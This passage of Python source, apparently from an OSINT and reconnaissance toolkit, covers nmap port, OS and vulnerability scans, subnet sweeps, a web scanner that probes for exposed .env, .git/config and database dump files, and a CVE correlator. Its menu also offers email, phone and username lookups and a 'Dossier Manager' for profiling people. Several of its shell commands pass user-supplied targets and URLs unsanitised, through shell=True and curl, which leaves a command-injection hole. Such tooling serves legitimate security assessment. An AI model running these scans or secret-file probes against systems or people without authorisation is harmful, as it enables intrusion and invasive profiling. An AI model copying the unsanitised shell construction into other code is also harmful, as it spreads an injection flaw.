if not url.startswith('http'): + url = f"https://{url}" + + print(f"\n{Colors.CYAN}Analyzing {url}...{Colors.RESET}\n") + + # Fetch headers + success, output = self.run_cmd(f"curl -sI '{url}' 2>/dev/null") + if success and output: + print(f"{Colors.CYAN}HTTP Headers:{Colors.RESET}") + for line in output.split('\n'): + if ':' in line: + key = line.split(':')[0].lower() + if key in ['server', 'x-powered-by', 'x-aspnet-version', 'x-generator']: + print(f" {line.strip()}") + + techs = [] + output_lower = output.lower() + if 'nginx' in output_lower: techs.append("Nginx") + if 'apache' in output_lower: techs.append("Apache") + if 'cloudflare' in output_lower: techs.append("Cloudflare") + if 'php' in output_lower: techs.append("PHP") + + if techs: + print(f"\n{Colors.CYAN}Detected:{Colors.RESET}") + for tech in techs: + print(f" {Colors.GREEN}+{Colors.RESET} {tech}") + + # ==================== TOOLS ==================== + + def run_geoip_module(self): + """Run the GEO IP/Domain Lookup module.""" + try: + from modules.geoip import run as geoip_run + geoip_run() + except ImportError as e: + self.print_status(f"Failed to load GEO IP module: {e}", "error") + except Exception as e: + self.print_status(f"Error running GEO IP module: {e}", "error") + + def run_yandex_module(self): + """Run the Yandex OSINT module.""" + try: + from modules.yandex_osint import run as yandex_run + yandex_run() + except ImportError as e: + self.print_status(f"Failed to load Yandex OSINT module: {e}", "error") + except Exception as e: + self.print_status(f"Error running Yandex OSINT module: {e}", "error") + + def run_network_test(self): + """Run the Network Test module.""" + try: + from modules.nettest import run as nettest_run + nettest_run() + except ImportError as e: + self.print_status(f"Failed to load Network Test module: {e}", "error") + except Exception as e: + self.print_status(f"Error running Network Test module: {e}", "error") + + def run_snoop_decoder(self): + """Run the Snoop Database Decoder module.""" + try: + from modules.snoop_decoder import run as snoop_run + snoop_run() + except ImportError as e: + self.print_status(f"Failed to load Snoop Decoder: {e}", "error") + except Exception as e: + self.print_status(f"Error running Snoop Decoder: {e}", "error") + + def run_dossier_manager(self): + """Run the Dossier Manager module.""" + try: + from modules.dossier import run as dossier_run + dossier_run() + except ImportError as e: + self.print_status(f"Failed to load Dossier Manager: {e}", "error") + except Exception as e: + self.print_status(f"Error running Dossier Manager: {e}", "error") + + def show_sites_db_stats(self): + """Display sites database statistics.""" + print(f"\n{Colors.BOLD}Sites Database Statistics{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + stats = self.sites_db.get_stats() + coverage = self.sites_db.get_detection_coverage() + + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']:.2f} MB") + print() + print(f" {Colors.GREEN}Total Sites:{Colors.RESET} {stats['total_sites']:,}") + print(f" {Colors.GREEN}Enabled:{Colors.RESET} {stats['enabled_sites']:,}") + print(f" {Colors.RED}NSFW Sites:{Colors.RESET} {stats['nsfw_sites']:,}") + + # Detection coverage section + print(f"\n {Colors.CYAN}Detection Coverage:{Colors.RESET}") + print(f" With detection type: {stats['with_detection']:>5,} ({coverage.get('pct_error_type', 0):.1f}%)") + print(f" With error string: {coverage['with_error_string']:>5,} ({coverage.get('pct_error_string', 0):.1f}%)") + print(f" With match string: {coverage['with_match_string']:>5,} ({coverage.get('pct_match_string', 0):.1f}%)") + + # By error type + if stats.get('by_error_type'): + print(f"\n {Colors.CYAN}By Detection Method:{Colors.RESET}") + for etype, count in sorted(stats['by_error_type'].items(), key=lambda x: -x[1]): + bar = '█' * min(int(count / 200), 25) + print(f" {etype:20} {count:>5,} {Colors.MAGENTA}{bar}{Colors.RESET}") + + print(f"\n {Colors.CYAN}By Source:{Colors.RESET}") + for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]): + bar = '█' * min(int(count / 200), 30) + print(f" {source:20} {count:>5,} {Colors.GREEN}{bar}{Colors.RESET}") + + print(f"\n {Colors.CYAN}By Category:{Colors.RESET}") + for cat, count in sorted(stats['by_category'].items(), key=lambda x: -x[1])[:10]: + bar = '█' * min(int(count / 100), 30) + print(f" {cat:20} {count:>5,} {Colors.BLUE}{bar}{Colors.RESET}") + + # ==================== NMAP SCANNER ==================== + + def _check_nmap(self) -> bool: + """Check if nmap is installed.""" + from core.paths import find_tool + return find_tool('nmap') is not None + + def _run_nmap(self, target: str, flags: str, description: str, timeout: int = 300): + """Run an nmap scan with live output and color coding.""" + if not target.strip(): + self.print_status("Target cannot be empty", "error") + return + + cmd = f"nmap {flags} {target}" + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Scan: {description}{Colors.RESET}") + print(f"{Colors.DIM}Command: {cmd}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + full_output = [] + open_ports = [] + + try: + proc = subprocess.Popen( + cmd, shell=True, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT + ) + + for raw_line in iter(proc.stdout.readline, b''): + line = raw_line.decode('utf-8', errors='ignore').rstrip('\n') + full_output.append(line) + line_lower = line.lower() + + if 'open' in line_lower and ('tcp' in line_lower or 'udp' in line_lower or '/' in line): + print(f" {Colors.GREEN}{line}{Colors.RESET}") + open_ports.append(line.strip()) + elif 'closed' in line_lower or 'filtered' in line_lower: + print(f" {Colors.DIM}{line}{Colors.RESET}") + elif 'nmap scan report' in line_lower: + print(f" {Colors.CYAN}{Colors.BOLD}{line}{Colors.RESET}") + else: + print(f" {line}") + + proc.wait(timeout=timeout) + + except subprocess.TimeoutExpired: + proc.kill() + self.print_status("Scan timed out", "warning") + except KeyboardInterrupt: + proc.kill() + self.print_status("Scan interrupted", "warning") + except Exception as e: + self.print_status(f"Scan error: {e}", "error") + return + + # Summary + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + if open_ports: + print(f"{Colors.GREEN}{Colors.BOLD}Open ports found: {len(open_ports)}{Colors.RESET}") + for p in open_ports: + print(f" {Colors.GREEN} {p}{Colors.RESET}") + else: + print(f"{Colors.YELLOW}No open ports found{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + + # Save option + save = input(f"\n{Colors.WHITE}Save output to file? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + safe_target = re.sub(r'[^\w.\-]', '_', target) + filename = f"{safe_target}_nmap.txt" + with open(filename, 'w') as f: + f.write('\n'.join(full_output)) + self.print_status(f"Saved to {filename}", "success") + + def nmap_scanner(self): + """Nmap scanner submenu.""" + if not self._check_nmap(): + self.print_status("nmap is not installed", "error") + return + + while True: + print(f"\n{Colors.BOLD}Nmap Scanner{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Top 100 Ports - Fastest common port scan") + print(f" {Colors.GREEN}[2]{Colors.RESET} Quick Scan - Default top 1000 ports") + print(f" {Colors.GREEN}[3]{Colors.RESET} Full TCP Scan - All 65535 ports (slow)") + print(f" {Colors.GREEN}[4]{Colors.RESET} Stealth SYN Scan - Half-open scan (needs root)") + print(f" {Colors.GREEN}[5]{Colors.RESET} Service Detection - Detect service versions (-sV)") + print(f" {Colors.GREEN}[6]{Colors.RESET} OS Detection - OS fingerprinting (needs root)") + print(f" {Colors.GREEN}[7]{Colors.RESET} Vulnerability Scan - NSE vuln scripts") + print(f" {Colors.GREEN}[8]{Colors.RESET} UDP Scan - Top 100 UDP ports (slow, needs root)") + print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Scan - Enter your own nmap flags") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + + choice = input(f"\n{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + + presets = { + "1": ("--top-ports 100 -T4", "Top 100 Ports"), + "2": ("-T4", "Quick Scan (Top 1000)"), + "3": ("-p- -T4", "Full TCP Scan (All 65535 Ports)"), + "4": ("-sS -T4", "Stealth SYN Scan"), + "5": ("-sV -T4", "Service Version Detection"), + "6": ("-O -T4", "OS Detection"), + "7": ("--script vuln -T4", "Vulnerability Scan"), + "8": ("-sU --top-ports 100 -T4", "UDP Scan (Top 100)"), + } + + if choice in presets: + target = input(f"{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + flags, desc = presets[choice] + self._run_nmap(target, flags, desc) + elif choice == "9": + target = input(f"{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + flags = input(f"{Colors.WHITE} Nmap flags: {Colors.RESET}").strip() + if flags: + self._run_nmap(target, flags, f"Custom Scan ({flags})") + + # ==================== NETWORK MAPPER ==================== + + def network_mapper(self): + """Network mapper - discover hosts and services on a subnet.""" + print(f"\n{Colors.BOLD}Network Mapper{Colors.RESET}") + print(f"{Colors.DIM}Discover hosts and services on your network{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Enter subnet manually") + print(f" {Colors.GREEN}[A]{Colors.RESET} Auto-detect local subnet") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == 'a': + subnet = self._auto_detect_subnet() + if not subnet: + self.print_status("Could not auto-detect subnet", "error") + return + print(f"{Colors.CYAN}[*] Detected subnet: {subnet}{Colors.RESET}") + elif choice == '1': + subnet = input(f"{Colors.WHITE}Enter subnet (e.g., 192.168.1.0/24): {Colors.RESET}").strip() + if not subnet: + return + else: + return + + # Phase 1: Ping sweep + self.print_status(f"Phase 1: Ping sweep on {subnet}...", "info") + live_hosts = self._nmap_ping_sweep(subnet) + + if not live_hosts: + self.print_status("No live hosts found", "warning") + return + + self.print_status(f"Found {len(live_hosts)} live hosts", "success") + + # Phase 2: Service scan + scan_services = input(f"{Colors.WHITE}Scan services on discovered hosts? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if scan_services == 'n': + for ip in live_hosts: + print(f" {Colors.GREEN}+{Colors.RESET} {ip}") + return + + self.print_status(f"Phase 2: Service detection on {len(live_hosts)} hosts...", "info") + hosts = [] + for i, ip in enumerate(live_hosts, 1): + print(f"\r{Colors.DIM} [{i}/{len(live_hosts)}] Scanning {ip}...{Colors.RESET}", end='', flush=True) + host_info = self._nmap_host_detail(ip) + hosts.append(host_info) + + print(f"\r{' ' * 60}\r", end='') + self._display_network_map(hosts, subnet) + + def _auto_detect_subnet(self) -> str: + """Auto-detect the local subnet.""" + success, output = self.run_cmd("hostname -I") + if success and output: + local_ip = output.strip().split()[0] + # Append /24 + parts = local_ip.split('.') + if len(parts) == 4: + return f"{parts[0]}.{parts[1]}.{parts[2]}.0/24" + return "" + + def _nmap_ping_sweep(self, subnet: str) -> list: + """Run nmap ping sweep to find live hosts.""" + success, output = self.run_cmd(f"nmap -sn {subnet}", timeout=120) + if not success: + return [] + + hosts = [] + for line in output.split('\n'): + if 'Nmap scan report for' in line: + # Extract IP + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + if ip_match: + hosts.append(ip_match.group(1)) + return hosts + + def _nmap_host_detail(self, ip: str) -> dict: + """Get detailed service info for a single host.""" + result = {'ip': ip, 'hostname': '', 'os_guess': '', 'ports': []} + + success, output = self.run_cmd(f"nmap -sV --top-ports 20 -T4 {ip}", timeout=120) + if not success: + return result + + for line in output.split('\n'): + if 'Nmap scan report for' in line: + # Extract hostname + hostname_match = re.search(r'for (\S+)\s+\(', line) + if hostname_match: + result['hostname'] = hostname_match.group(1) + + port_match = re.match(r'\s*(\d+)/(tcp|udp)\s+(\S+)\s+(.*)', line) + if port_match: + result['ports'].append({ + 'port': int(port_match.group(1)), + 'state': port_match.group(3), + 'service': port_match.group(4).strip(), + }) + + if 'OS details:' in line: + result['os_guess'] = line.split('OS details:')[1].strip() + elif 'Service Info: OS:' in line: + os_match = re.search(r'OS: ([^;]+)', line) + if os_match: + result['os_guess'] = os_match.group(1).strip() + + return result + + def _display_network_map(self, hosts: list, subnet: str): + """Display network map results and save.""" + print(f"\n{Colors.CYAN}{'─' * 75}{Colors.RESET}") + print(f"{Colors.BOLD}Network Map: {subnet}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 75}{Colors.RESET}\n") + + print(f" {'IP':<18} {'Hostname':<20} {'OS':<15} {'Open Ports'}") + print(f" {'─' * 70}") + + for host in hosts: + ip = host['ip'] + hostname = host.get('hostname', '')[:18] or '-' + os_guess = host.get('os_guess', '')[:13] or '-' + open_ports = [p for p in host.get('ports', []) if p.get('state') == 'open'] + ports_str = ', '.join(f"{p['port']}" for p in open_ports[:6]) + if len(open_ports) > 6: + ports_str += f" +{len(open_ports)-6} more" + + print(f" {ip:<18} {hostname:<20} {os_guess:<15} {ports_str}") + + # Show services + for p in open_ports[:6]: + service = p.get('service', '') + if service: + print(f" {'':<18} {Colors.DIM}{p['port']:>5}/tcp {service}{Colors.RESET}") + + # Save results + os.makedirs("results", exist_ok=True) + safe_subnet = re.sub(r'[^\w.\-]', '_', subnet) + filename = f"results/network_map_{safe_subnet}.json" + with open(filename, 'w') as f: + json.dump({'subnet': subnet, 'hosts': hosts, 'timestamp': datetime.now().isoformat()}, f, indent=2) + self.print_status(f"Saved to {filename}", "success") + + # ==================== WEB SCANNER ==================== + + def web_scanner(self): + """Web application security scanner.""" + print(f"\n{Colors.BOLD}Web Scanner{Colors.RESET}") + print(f"{Colors.DIM}Check web applications for security issues{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + url = input(f"{Colors.WHITE}Enter URL: {Colors.RESET}").strip() + if not url: + return + + if not url.startswith('http'): + url = f"https://{url}" + + parsed = urlparse(url) + hostname = parsed.netloc + + print(f"\n{Colors.CYAN}Scanning {url}...{Colors.RESET}\n") + + all_findings = [] + + # Header checks + self.print_status("Checking HTTP headers...", "info") + header_findings = self._web_check_headers(url) + all_findings.extend(header_findings) + + # SSL check + if parsed.scheme == 'https': + self.print_status("Checking SSL/TLS...", "info") + ssl_findings = self._web_check_ssl(hostname) + all_findings.extend(ssl_findings) + + # Directory bruteforce + self.print_status("Checking common paths...", "info") + dir_findings = self._web_dir_bruteforce(url) + all_findings.extend(dir_findings) + + # Display findings by severity + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Web Scanner Results: {url}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + high = [f for f in all_findings if f.get('severity') == 'HIGH'] + medium = [f for f in all_findings if f.get('severity') == 'MEDIUM'] + low = [f for f in all_findings if f.get('severity') == 'LOW'] + info = [f for f in all_findings if f.get('severity') == 'INFO'] + + for sev, items, color in [('HIGH', high, Colors.RED), ('MEDIUM', medium, Colors.YELLOW), + ('LOW', low, Colors.CYAN), ('INFO', info, Colors.DIM)]: + if items: + print(f" {color}{Colors.BOLD}{sev} ({len(items)}){Colors.RESET}") + for item in items: + print(f" {color} [{sev}]{Colors.RESET} {item['title']}") + if item.get('detail'): + print(f" {Colors.DIM}{item['detail']}{Colors.RESET}") + print() + + print(f" {Colors.BOLD}Total findings: {len(all_findings)}{Colors.RESET}") + print(f" HIGH: {len(high)} | MEDIUM: {len(medium)} | LOW: {len(low)} | INFO: {len(info)}") + + def _web_check_headers(self, url: str) -> list: + """Check HTTP response headers for security issues.""" + findings = [] + + try: + req = urllib.request.Request(url, headers={ + 'User-Agent': self.USER_AGENTS[0], + }) + with urllib.request.urlopen(req, timeout=10) as response: + headers = {k.lower(): v for k, v in response.headers.items()} + + # Server header + if 'server' in headers: + findings.append({'title': f"Server header exposed: {headers['server']}", 'severity': 'LOW', 'detail': 'Consider hiding server version'}) + + if 'x-powered-by' in headers: + findings.append({'title': f"X-Powered-By exposed: {headers['x-powered-by']}", 'severity': 'LOW', 'detail': 'Remove X-Powered-By header'}) + + # Missing security headers + security_headers = { + 'strict-transport-security': ('HSTS missing', 'HIGH', 'Add Strict-Transport-Security header'), + 'content-security-policy': ('CSP missing', 'HIGH', 'Add Content-Security-Policy header'), + 'x-frame-options': ('X-Frame-Options missing', 'MEDIUM', 'Clickjacking protection missing'), + 'x-content-type-options': ('X-Content-Type-Options missing', 'MEDIUM', 'Add nosniff header'), + 'referrer-policy': ('Referrer-Policy missing', 'MEDIUM', 'Add Referrer-Policy header'), + } + + for header, (title, severity, detail) in security_headers.items(): + if header not in headers: + findings.append({'title': title, 'severity': severity, 'detail': detail}) + + # Misconfigurations + misconfig_findings = self._web_check_misconfigs(headers) + findings.extend(misconfig_findings) + + except urllib.error.HTTPError as e: + findings.append({'title': f"HTTP Error: {e.code}", 'severity': 'INFO', 'detail': str(e.reason)}) + except Exception as e: + findings.append({'title': f"Connection error: {str(e)[:60]}", 'severity': 'INFO', 'detail': ''}) + + return findings + + def _web_check_ssl(self, hostname: str) -> list: + """Check SSL/TLS configuration.""" + findings = [] + + success, output = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -servername {hostname} 2>/dev/null", + timeout=15 + ) + + if not success or not output: + findings.append({'title': 'SSL check failed or no HTTPS', 'severity': 'INFO', 'detail': ''}) + return findings + + # Check certificate details + success2, cert_output = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -servername {hostname} 2>/dev/null | openssl x509 -noout -dates -issuer -subject 2>/dev/null", + timeout=15 + ) + + if success2 and cert_output: + for line in cert_output.split('\n'): + if 'notAfter' in line: + expiry = line.split('=', 1)[1].strip() if '=' in line else '' + findings.append({'title': f"Certificate expires: {expiry}", 'severity': 'INFO', 'detail': ''}) + elif 'issuer' in line.lower(): + findings.append({'title': f"Certificate issuer: {line.split('=', 1)[-1].strip()[:60]}", 'severity': 'INFO', 'detail': ''}) + + # Check for weak protocols + for protocol in ['ssl3', 'tls1', 'tls1_1']: + success, _ = self.run_cmd( + f"echo | openssl s_client -connect {hostname}:443 -{protocol} 2>/dev/null", + timeout=10 + ) + if success: + proto_name = protocol.replace('ssl3', 'SSLv3').replace('tls1_1', 'TLSv1.1').replace('tls1', 'TLSv1.0') + findings.append({'title': f"Weak protocol supported: {proto_name}", 'severity': 'HIGH', 'detail': 'Disable legacy protocols'}) + + return findings + + def _web_dir_bruteforce(self, url: str) -> list: + """Check for common sensitive paths.""" + findings = [] + common_paths = [ + '.git/HEAD', '.env', '.htaccess', 'robots.txt', 'sitemap.xml', + 'admin/', 'wp-admin/', 'phpinfo.php', 'server-status', 'backup/', + '.DS_Store', 'config.php', '.svn/', 'web.config', 'wp-login.php', + '.well-known/security.txt', 'crossdomain.xml', 'elmah.axd', + 'wp-config.php.bak', 'dump.sql', 'database.sql', 'debug/', + 'api/', 'swagger-ui.html', 'graphql', '.git/config', + 'composer.json', 'package.json', '.env.bak', 'Dockerfile', + 'docker-compose.yml', 'readme.md', + ] + + base_url = url.rstrip('/') + + for path in common_paths: + try: + check_url = f"{base_url}/{path}" + req = urllib.request.Request(check_url, method='HEAD', headers={ + 'User-Agent': self.USER_AGENTS[0], + }) + with urllib.request.urlopen(req, timeout=5) as response: + status = response.getcode() + if status in [200, 403]: + severity = 'HIGH' if path in ['.git/HEAD', '.env', '.git/config', 'dump.sql', 'database.sql'] else 'MEDIUM' + status_str = 'Found' if status == 200 else 'Forbidden' + findings.append({ + 'title': f"/{path} [{status}] {status_str}", + 'severity': severity, + 'detail': check_url, + }) + except: + pass + + return findings + + def _web_check_misconfigs(self, headers: dict) -> list: + """Check for common misconfigurations in headers.""" + findings = [] + + # CORS wildcard + acao = headers.get('access-control-allow-origin', '') + if acao == '*': + findings.append({'title': 'CORS wildcard: Access-Control-Allow-Origin: *', 'severity': 'MEDIUM', 'detail': 'Restrict CORS origins'}) + + # Cookie security + set_cookie = headers.get('set-cookie', '') + if set_cookie: + if 'secure' not in set_cookie.lower(): + findings.append({'title': 'Cookie missing Secure flag', 'severity': 'MEDIUM', 'detail': ''}) + if 'httponly' not in set_cookie.lower(): + findings.append({'title': 'Cookie missing HttpOnly flag', 'severity': 'MEDIUM', 'detail': ''}) + + return findings + + # ==================== VULNERABILITY CORRELATOR ==================== + + SERVICE_TO_CPE = { + 'apache': ('apache', 'http_server'), + 'nginx': ('f5', 'nginx'), + 'openssh': ('openbsd', 'openssh'), + 'openssl': ('openssl', 'openssl'), + 'mysql': ('oracle', 'mysql'), + 'mariadb': ('mariadb', 'mariadb'), + 'postgresql': ('postgresql', 'postgresql'), + 'postgres': ('postgresql', 'postgresql'), + 'samba': ('samba', 'samba'), + 'vsftpd': ('vsftpd_project', 'vsftpd'), + 'proftpd': ('proftpd_project', 'proftpd'), + 'postfix': ('postfix', 'postfix'), + 'dovecot': ('dovecot', 'dovecot'), + 'php': ('php', 'php'), + 'tomcat': ('apache', 'tomcat'), + 'iis': ('microsoft', 'internet_information_services'), + 'exim': ('exim', 'exim'), + 'bind': ('isc', 'bind'), + 'cups': ('apple', 'cups'), + 'redis': ('redis', 'redis'), + 'mongodb': ('mongodb', 'mongodb'), + 'elasticsearch': ('elastic', 'elasticsearch'), + 'jenkins': ('jenkins', 'jenkins'), + 'node': ('nodejs', 'node.js'), + } + + def vuln_correlator(self): + """Vulnerability correlator - match services to CVEs.""" + print(f"\n{Colors.BOLD}Vulnerability Correlator{Colors.RESET}") + print(f"{Colors.DIM}Match detected services against CVE database{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Run fresh nmap -sV scan") + print(f" {Colors.GREEN}[2]{Colors.RESET} Load from Network Map JSON") + print(f" {Colors.GREEN}[3]{Colors.RESET} Load from nmap output file") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + services = [] + target = "" + + if choice == "1": + target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip() + if not target: + return + self.print_status(f"Running nmap -sV on {target}...", "info") + success, output = self.run_cmd(f"nmap -sV -T4 {target}", timeout=300) + if success: + services = self._parse_nmap_services(output) + else: + self.print_status("nmap scan failed", "error") + return + + elif choice == "2": + # Load from network map JSON + json_files = sorted(Path("results").glob("network_map_*.json")) if Path("results").exists() else [] + if not json_files: + self.print_status("No network map files found. Run Network Mapper first.", "warning") + return + + print(f"\n{Colors.CYAN}Available network maps:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {f.name}") + + sel = input(f"\n{Colors.WHITE}Select: {Colors.RESET}").strip() + try: + idx = int(sel) - 1 + with open(json_files[idx], 'r') as f: + data = json.load(f) + target = data.get('subnet', 'unknown') + for host in data.get('hosts', []): + for port_info in host.get('ports', []): + if port_info.get('state') == 'open': + services.append({ + 'port': port_info['port'], + 'protocol': 'tcp', + 'service': port_info.get('service', ''), + 'version': '', + 'host': host['ip'], + }) + # Try to parse service+version + svc = port_info.get('service', '') + parts = svc.split() + if len(parts) >= 2: + services[-1]['service'] = parts[0] + services[-1]['version'] = parts[1] + except (ValueError, IndexError, json.JSONDecodeError) as e: + self.print_status(f"Error loading file: {e}", "error") + return + + elif choice == "3": + filepath = input(f"{Colors.WHITE}Path to nmap output file: {Colors.RESET}").strip() + if not filepath or not os.path.exists(filepath): + self.print_status("File not found", "error") + return + with open(filepath, 'r') as f: + output = f.read() + services = self._parse_nmap_services(output) + target = filepath + + if not services: + self.print_status("No services found to correlate", "warning") + return + + self.print_status(f"Found {len(services)} services, correlating with CVE database...", "info") + + # Correlate each service + correlations = [] + try: + from core.cve import get_cve_db + cve_db = get_cve_db() + except ImportError: + self.print_status("CVE database module not available", "error") + return + + for svc in services: + cves = self._correlate_service(svc, cve_db) + if cves: + correlations.append({ + 'service': svc, + 'cves': cves, + }) + + self._display_vuln_report(correlations, target) + + def _parse_nmap_services(self, nmap_output: str) -> list: + """Parse nmap -sV output for services.""" + services = [] + port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)') + current_host = '' + + for line in nmap_output.split('\n'): + if 'Nmap scan report for' in line: + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + current_host = ip_match.group(1) if ip_match else '' + + m = port_re.match(line.strip()) + if m: + service_full = m.group(4).strip() + # Split product and version + parts = service_full.split() + product = parts[0] if parts else m.group(3) + version = parts[1] if len(parts) > 1 else '' + + services.append({ + 'port': int(m.group(1)), + 'protocol': m.group(2), + 'service': product, + 'version': version, + 'host': current_host, + }) + + return services + + def _build_cpe(self, service: str, product: str, version: str) -> str: + """Build a CPE string from service info.""" + service_lower = service.lower() + product_lower = product.lower() + + # Try to find in lookup table + for key, (vendor, prod) in self.SERVICE_TO_CPE.items(): + if key in service_lower or key in product_lower: + cpe = f"cpe:2.3:a:{vendor}:{prod}" + if version: + clean_ver = re.sub(r'[^0-9.]', '', version) + if clean_ver: + cpe += f":{clean_ver}" + return cpe + + return "" + + def _correlate_service(self, service_info: dict, cve_db) -> list: + """Correlate a service with CVEs from the database.""" + service = service_info.get('service', '') + version = service_info.get('version', '') + + # Try CPE-based search + cpe = self._build_cpe(service, service, version) + cves = [] + + if cpe: + cves = cve_db.search_cves(cpe_pattern=cpe, max_results=20) + + # Fallback to keyword search + if len(cves) < 5: + keyword = f"{service} {version}".strip() + keyword_cves = cve_db.search_cves(keyword=keyword, max_results=20) + seen = {c['cve_id'] for c in cves} + for c in keyword_cves: + if c['cve_id'] not in seen: + cves.append(c) + + # Sort by CVSS score descending + cves.sort(key=lambda x: x.get('cvss_score', 0) or 0, reverse=True) + return cves[:15] + + def _display_vuln_report(self, correlations: list, target: str): + """Display vulnerability correlation results.""" + print(f"\n{Colors.CYAN}{'─' * 70}{Colors.RESET}") + print(f"{Colors.BOLD}Vulnerability Report: {target}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 70}{Colors.RESET}\n") + + total_cves = 0 + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + + for corr in correlations: + svc = corr['service'] + cves = corr['cves'] + host = svc.get('host', '') + port = svc.get('port', '') + service_name = svc.get('service', '') + version = svc.get('version', '') + + print(f" {Colors.BOLD}{service_name}:{version}{Colors.RESET} on port {port} ({host})") + + for cve in cves: + total_cves += 1 + score = cve.get('cvss_score', 0) or 0 + severity = cve.get('severity', 'UNKNOWN') + cve_id = cve.get('cve_id', '') + desc = (cve.get('description', '') or '')[:80] + + # Count and color + if severity in severity_counts: + severity_counts[severity] += 1 + + if severity in ('CRITICAL', 'HIGH'): + sev_color = Colors.RED + elif severity == 'MEDIUM': + sev_color = Colors.YELLOW + else: + sev_color = Colors.CYAN + + print(f" {sev_color}{cve_id} ({severity} {score}){Colors.RESET} {desc}") + + print() + + # Summary + print(f"{Colors.CYAN}{'─' * 70}{Colors.RESET}") + print(f"{Colors.BOLD}Summary:{Colors.RESET} {total_cves} CVEs across {len(correlations)} services") + print(f" CRITICAL: {severity_counts['CRITICAL']} | HIGH: {severity_counts['HIGH']} | MEDIUM: {severity_counts['MEDIUM']} | LOW: {severity_counts['LOW']}") + + # Save results + if correlations: + os.makedirs("results", exist_ok=True) + safe_target = re.sub(r'[^\w.\-]', '_', str(target)) + filename = f"results/vuln_correlator_{safe_target}.json" + save_data = { + 'target': target, + 'timestamp': datetime.now().isoformat(), + 'correlations': [ + { + 'service': c['service'], + 'cves': [{'cve_id': cve.get('cve_id'), 'severity': cve.get('severity'), + 'cvss_score': cve.get('cvss_score'), 'description': cve.get('description', '')[:200]} + for cve in c['cves']] + } for c in correlations + ] + } + with open(filename, 'w') as f: + json.dump(save_data, f, indent=2) + self.print_status(f"Saved to {filename}", "success") + + # ==================== MENU ==================== + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.GREEN}{Colors.BOLD} OSINT & Reconnaissance{Colors.RESET}") + print(f"{Colors.DIM} Open source intelligence gathering{Colors.RESET}") + + # Social-analyzer status + if self.social_analyzer_available: + print(f"{Colors.DIM} social-analyzer: {Colors.GREEN}Available{Colors.RESET}") + else: + print(f"{Colors.DIM} social-analyzer: {Colors.YELLOW}Not installed{Colors.RESET}") + + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}Email{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Email Lookup") + print(f" {Colors.GREEN}[2]{Colors.RESET} Email Permutator") + print() + print(f" {Colors.GREEN}Username{Colors.RESET}") + print(f" {Colors.GREEN}[3]{Colors.RESET} Username Lookup") + print(f" {Colors.GREEN}[4]{Colors.RESET} Social Analyzer") + print() + print(f" {Colors.GREEN}Phone{Colors.RESET}") + print(f" {Colors.GREEN}[5]{Colors.RESET} Phone Number Lookup") + print() + print(f" {Colors.GREEN}Domain/IP{Colors.RESET}") + print(f" {Colors.GREEN}[6]{Colors.RESET} Domain Recon") + print(f" {Colors.GREEN}[7]{Colors.RESET} IP Address Lookup") + print(f" {Colors.GREEN}[8]{Colors.RESET} Subdomain Enum") + print(f" {Colors.GREEN}[9]{Colors.RESET} Tech Detection") + print() + print(f" {Colors.MAGENTA}Dossier{Colors.RESET}") + print(f" {Colors.MAGENTA}[R]{Colors.RESET} Dossier Manager") + print() + print(f" {Colors.YELLOW}Network{Colors.RESET}") + print(f" {Colors.YELLOW}[W]{Colors.RESET} Network Mapper") + print(f" {Colors.YELLOW}[H]{Colors.RESET} Web Scanner") + print(f" {Colors.YELLOW}[V]{Colors.RESET} Vulnerability Correlator") + print() + print(f" {Colors.CYAN}Tools{Colors.RESET}") + print(f" {Colors.CYAN}[G]{Colors.RESET} GEO IP/Domain Lookup") + print(f" {Colors.CYAN}[Y]{Colors.RESET} Yandex OSINT") + print(f" {Colors.CYAN}[N]{Colors.RESET} Network Test") + print(f" {Colors.CYAN}[S]{Colors.RESET} Snoop Database Decoder") + print(f" {Colors.CYAN}[D]{Colors.RESET} Sites Database 